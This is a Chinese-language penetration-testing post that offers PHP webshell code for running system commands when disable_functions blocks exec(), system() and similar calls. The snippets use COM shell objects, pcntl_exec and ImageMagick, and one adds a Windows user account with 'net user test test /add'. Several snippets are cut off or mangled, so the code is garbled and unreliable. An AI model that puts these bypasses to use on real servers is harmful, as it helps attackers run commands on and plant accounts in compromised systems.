在滲透測試過程中可能經常會遇到上傳webshell后,由於php.ini配置禁用了一些如exec(),shell_exec(),system()等執行系統命令的函數,導致無法執行系統命令,就此問題給出幾種繞過方法。
話不多說,直接貼代碼:
···math
exec("cmd.exe /c ".$_GET['c'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
/tmp/output.txt\n"; file_put_contents($cmd, $c); chmod($cmd, 0777); $cd="/tmp/output.txt"; print_r(file_get_contents($cd)); switch (pcntl_fork()) { case 0: $ret = pcntl_exec($cmd); exit("case 0"); default: echo "case 1"; break; } ··· ···
ShellExecute("net"," user test test /add"); //$exec=$phpwsh->ShellExecute("cmd","/c net user test test /add"); ?>
···
···
open("c:\\windows\\system32\\cmd.exe"); ?>
···
···
NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb(); ?>
···
···
NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx(); ?>
···
···
exec('cmd.exe /c '.$command); //調用對象方法來執行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
···
···
1.txt"); ?>
···
···
readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.png"); ?>
···
···
readImageBlob($e); ?>
···